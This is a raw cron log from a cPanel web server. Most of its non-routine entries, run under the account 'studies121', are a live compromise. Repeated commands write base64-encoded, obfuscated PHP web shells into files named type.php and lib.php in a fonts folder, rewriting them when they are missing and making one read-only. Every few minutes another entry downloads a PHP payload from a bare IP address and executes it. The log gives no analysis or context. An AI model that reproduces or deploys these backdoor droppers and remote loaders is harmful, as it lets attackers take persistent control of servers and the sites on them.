Sep 21 22:13:01 ip-184-168-122-23 CROND[25987]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 22:13:01 ip-184-168-122-23 CROND[25989]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 22:13:01 ip-184-168-122-23 CROND[25990]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 22:13:01 ip-184-168-122-23 CROND[25992]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 22:14:01 ip-184-168-122-23 CROND[26087]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 22:14:01 ip-184-168-122-23 CROND[26089]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 22:14:01 ip-184-168-122-23 CROND[26090]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 22:14:01 ip-184-168-122-23 CROND[26091]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 22:14:01 ip-184-168-122-23 CROND[26092]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 22:15:01 ip-184-168-122-23 CROND[26206]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep 21 22:15:02 ip-184-168-122-23 CROND[26208]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 22:15:02 ip-184-168-122-23 CROND[26210]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 22:15:02 ip-184-168-122-23 CROND[26212]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 22:15:02 ip-184-168-122-23 CROND[26214]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 22:15:02 ip-184-168-122-23 CROND[26211]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 22:15:02 ip-184-168-122-23 CROND[26213]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 22:16:01 ip-184-168-122-23 CROND[26324]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 22:16:01 ip-184-168-122-23 CROND[26325]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 22:16:01 ip-184-168-122-23 CROND[26328]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 21 22:16:01 ip-184-168-122-23 CROND[26329]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 22:16:01 ip-184-168-122-23 CROND[26330]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 22:16:01 ip-184-168-122-23 CROND[26331]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 22:17:01 ip-184-168-122-23 CROND[26438]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 22:17:01 ip-184-168-122-23 CROND[26439]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 22:17:01 ip-184-168-122-23 CROND[26440]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 22:17:01 ip-184-168-122-23 CROND[26443]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 22:18:01 ip-184-168-122-23 CROND[26627]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 22:18:01 ip-184-168-122-23 CROND[26631]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 22:18:01 ip-184-168-122-23 CROND[26629]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 22:18:01 ip-184-168-122-23 CROND[26632]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 22:18:01 ip-184-168-122-23 CROND[26630]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 22:19:01 ip-184-168-122-23 CROND[26780]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 22:19:01 ip-184-168-122-23 CROND[26781]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 22:19:01 ip-184-168-122-23 CROND[26782]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 22:19:01 ip-184-168-122-23 CROND[26787]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 22:20:01 ip-184-168-122-23 CROND[26892]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 22:20:01 ip-184-168-122-23 CROND[26894]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 22:20:01 ip-184-168-122-23 CROND[26895]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 22:20:01 ip-184-168-122-23 CROND[26901]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 22:20:01 ip-184-168-122-23 CROND[26903]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 22:20:01 ip-184-168-122-23 CROND[26902]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 22:20:01 ip-184-168-122-23 CROND[26900]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 22:20:01 ip-184-168-122-23 CROND[26898]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 21 22:20:01 ip-184-168-122-23 CROND[26899]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 21 22:21:01 ip-184-168-122-23 CROND[27027]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 22:21:01 ip-184-168-122-23 CROND[27029]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 22:21:01 ip-184-168-122-23 CROND[27030]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 22:21:01 ip-184-168-122-23 CROND[27031]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 22:22:01 ip-184-168-122-23 CROND[27129]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 22:22:01 ip-184-168-122-23 CROND[27131]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 22:22:01 ip-184-168-122-23 CROND[27133]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 22:22:01 ip-184-168-122-23 CROND[27134]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 22:22:01 ip-184-168-122-23 CROND[27135]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 22:23:01 ip-184-168-122-23 CROND[27361]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 22:23:01 ip-184-168-122-23 CROND[27362]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 22:23:01 ip-184-168-122-23 CROND[27366]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 22:23:01 ip-184-168-122-23 CROND[27368]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 22:24:01 ip-184-168-122-23 CROND[27541]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 22:24:01 ip-184-168-122-23 CROND[27544]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 22:24:01 ip-184-168-122-23 CROND[27545]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 22:24:01 ip-184-168-122-23 CROND[27546]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 22:24:01 ip-184-168-122-23 CROND[27548]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
